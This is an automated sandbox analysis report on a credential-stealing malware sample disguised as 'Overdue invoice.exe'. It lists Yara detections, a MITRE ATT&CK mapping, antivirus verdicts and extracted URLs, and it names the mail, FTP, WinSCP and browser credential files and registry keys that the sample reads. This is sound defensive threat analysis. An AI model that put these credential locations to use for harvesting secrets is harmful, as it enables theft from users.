Source: Yara match	File source: 00000013.00000000.365073156.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.365965578.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.519516875.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.302129408.0000000003B92000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.373874318.0000000003C5F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.300706050.000000000393F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.521991645.0000000003401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Overdue invoice.exe PID: 6504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Overdue invoice.exe PID: 7140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yqWDN.exe PID: 5496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yqWDN.exe PID: 7048, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yqWDN.exe PID: 5572, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Overdue invoice.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Overdue invoice.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Source: Yara match	File source: 00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.521991645.0000000003401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Overdue invoice.exe PID: 7140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yqWDN.exe PID: 5572, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 16.2.yqWDN.exe.3de2e78.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.yqWDN.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.yqWDN.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.yqWDN.exe.3de2e78.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.Overdue invoice.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.Overdue invoice.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.yqWDN.exe.3e72e78.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.Overdue invoice.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.yqWDN.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.yqWDN.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Overdue invoice.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.yqWDN.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.Overdue invoice.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.yqWDN.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Overdue invoice.exe.3ac2e78.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.Overdue invoice.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.yqWDN.exe.3e72e78.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.yqWDN.exe.3d8e3f8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.yqWDN.exe.3cfe3f8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Overdue invoice.exe.3ac2e78.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Overdue invoice.exe.39de3f8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000000.366458580.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.519470076.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.294988702.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.295945880.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.366994504.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.295465407.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.294210578.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.378013888.0000000003CEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.365073156.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.365965578.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.519516875.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.302129408.0000000003B92000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.373874318.0000000003C5F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.300706050.000000000393F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.521991645.0000000003401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Overdue invoice.exe PID: 6504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Overdue invoice.exe PID: 7140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yqWDN.exe PID: 5496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yqWDN.exe PID: 7048, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yqWDN.exe PID: 5572, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	1 Scheduled Task/Job	111 Process Injection	1 File and Directory Permissions Modification	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Disable or Modify Tools	1 Input Capture	114 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	2 Obfuscated Files or Information	NTDS	311 Security Software Discovery	Distributed Component Object Model	1 Input Capture	Scheduled Transfer	11 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	3 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Overdue invoice.exe	61%	Virustotal		Browse
Overdue invoice.exe	60%	ReversingLabs	ByteCode-MSIL.Trojan.RealProtect
Overdue invoice.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\dYXeRswtYBrq.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\dYXeRswtYBrq.exe	60%	ReversingLabs	ByteCode-MSIL.Trojan.RealProtect
C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	60%	ReversingLabs	ByteCode-MSIL.Trojan.RealProtect

Unpacked PE Files

Source	Detection	Scanner	Label	Download
19.0.yqWDN.exe.400000.6.unpack	100%	Avira	TR/Spy.Gen8	Download File
19.0.yqWDN.exe.400000.8.unpack	100%	Avira	TR/Spy.Gen8	Download File
7.0.Overdue invoice.exe.400000.10.unpack	100%	Avira	TR/Spy.Gen8	Download File
7.0.Overdue invoice.exe.400000.6.unpack	100%	Avira	TR/Spy.Gen8	Download File
7.0.Overdue invoice.exe.400000.12.unpack	100%	Avira	TR/Spy.Gen8	Download File
19.0.yqWDN.exe.400000.4.unpack	100%	Avira	TR/Spy.Gen8	Download File
19.2.yqWDN.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
19.0.yqWDN.exe.400000.10.unpack	100%	Avira	TR/Spy.Gen8	Download File
7.2.Overdue invoice.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
7.0.Overdue invoice.exe.400000.8.unpack	100%	Avira	TR/Spy.Gen8	Download File
19.0.yqWDN.exe.400000.12.unpack	100%	Avira	TR/Spy.Gen8	Download File
7.0.Overdue invoice.exe.400000.4.unpack	100%	Avira	TR/Spy.Gen8	Download File

Domains

Source	Detection	Scanner	Label	Link
mail.jkudyog.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn//:	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.comepko	0%	URL Reputation	safe
http://www.fontbureau.comessed	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://mail.jkudyog.com	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cnoO	0%	Avira URL Cloud	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
https://I323GyXsTwT8KsWsK7L.net1-5-21-3853321935-21255632	0%	Avira URL Cloud	safe
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	0%	URL Reputation	safe
http://www.fonts.comn	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.urwpp.depA	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/l	0%	Avira URL Cloud	safe
http://www.fontbureau.comttoF	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.de	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.fontbureau.com=	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr=	0%	Avira URL Cloud	safe
http://www.fontbureau.comlicF	0%	URL Reputation	safe
https://I323GyXsTwT8KsWsK7L.net8	0%	Avira URL Cloud	safe
http://www.agfamonotype.	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	0%	URL Reputation	safe
http://www.founder.com.cn/cnt-ia	0%	Avira URL Cloud	safe
http://www.fontbureau.comoGC	0%	Avira URL Cloud	safe
http://www.fontbureau.comdc	0%	Avira URL Cloud	safe
http://dWZLeu.com	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr$A	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cnz	0%	URL Reputation	safe
http://www.fontbureau.comd	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.sandoll.co.krF1	0%	Avira URL Cloud	safe
http://www.fontbureau.comB.TTFlC	0%	Avira URL Cloud	safe
https://I323GyXsTwT8KsWsK7L.net	0%	Avira URL Cloud	safe
http://www.fontbureau.comm	0%	URL Reputation	safe
http://www.founder.com.cn/cne-d	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.fontbureau.como	0%	URL Reputation	safe
http://www.fontbureau.comals	0%	URL Reputation	safe
http://www.tiro.comh	0%	URL Reputation	safe
http://www.tiro.comc	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.jkudyog.com	206.183.111.188	true	true	1%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	Overdue invoice.exe, 00000007.00000002.521991645.0000000003401000.00000004.00000800.00020000.00000000.sdmp, yqWDN.exe, 00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.fontbureau.com/designersG	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/3C	Overdue invoice.exe, 00000000.00000003.259988892.0000000005908000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn//:	Overdue invoice.exe, 00000000.00000003.254870128.0000000005904000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253859484.000000000591B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253816400.000000000591B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253303468.000000000591B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253356717.000000000591B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253456642.000000000591B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.comepko	Overdue invoice.exe, 00000000.00000003.297172527.0000000005900000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000002.303053432.0000000005900000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comessed	Overdue invoice.exe, 00000000.00000003.260779440.000000000590A000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.260513239.0000000005909000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mail.jkudyog.com	Overdue invoice.exe, 00000007.00000002.522968890.0000000003760000.00000004.00000800.00020000.00000000.sdmp, yqWDN.exe, 00000013.00000002.523253401.000000000339C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cnoO	Overdue invoice.exe, 00000000.00000003.254629796.0000000005904000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.254953312.000000000590B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.254870128.0000000005904000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.com	Overdue invoice.exe, 00000000.00000003.252984688.000000000591E000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.252856713.0000000005920000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.252888263.000000000591E000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253011774.000000000591E000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.252782511.0000000005920000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253067018.0000000005924000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253045863.000000000591E000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.252808922.0000000005920000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253078124.000000000591B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253115594.000000000591B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.252958098.000000000591E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://I323GyXsTwT8KsWsK7L.net1-5-21-3853321935-21255632	Overdue invoice.exe, 00000007.00000003.315746874.00000000011D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	yqWDN.exe, 00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.comn	Overdue invoice.exe, 00000000.00000003.253007661.000000000591B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253040437.000000000591B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.depA	Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/l	Overdue invoice.exe, 00000000.00000003.254870128.0000000005904000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comttoF	Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	Overdue invoice.exe, 00000000.00000003.253045863.000000000591E000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253078124.000000000591B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.de	Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Overdue invoice.exe, 00000000.00000002.298765029.000000000294E000.00000004.00000800.00020000.00000000.sdmp, yqWDN.exe, 0000000F.00000002.373514445.0000000002CFE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com=	Overdue invoice.exe, 00000000.00000003.260513239.0000000005909000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.sandoll.co.kr=	Overdue invoice.exe, 00000000.00000003.254081305.0000000005906000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.fontbureau.comlicF	Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp	false		high
https://I323GyXsTwT8KsWsK7L.net8	Overdue invoice.exe, 00000007.00000002.521991645.0000000003401000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.agfamonotype.	Overdue invoice.exe, 00000000.00000003.265415364.000000000590A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	Overdue invoice.exe, 00000007.00000002.521991645.0000000003401000.00000004.00000800.00020000.00000000.sdmp, yqWDN.exe, 00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cnt-ia	Overdue invoice.exe, 00000000.00000003.254612717.000000000593D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comoGC	Overdue invoice.exe, 00000000.00000003.297172527.0000000005900000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000002.303053432.0000000005900000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comdc	Overdue invoice.exe, 00000000.00000003.260779440.000000000590A000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.260513239.0000000005909000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://dWZLeu.com	yqWDN.exe, 00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sandoll.co.kr$A	Overdue invoice.exe, 00000000.00000003.254081305.0000000005906000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.founder.com.cn/cnz	Overdue invoice.exe, 00000000.00000003.254612717.000000000593D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comd	Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.260513239.0000000005909000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	Overdue invoice.exe, 00000000.00000003.254629796.0000000005904000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.254612717.000000000593D000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.254870128.0000000005904000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.krF1	Overdue invoice.exe, 00000000.00000003.254081305.0000000005906000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlP	Overdue invoice.exe, 00000000.00000003.260820341.0000000005935000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.html	Overdue invoice.exe, 00000000.00000003.260820341.0000000005935000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.260841728.0000000005935000.00000004.00000800.00020000.00000000.sdmp	false		high
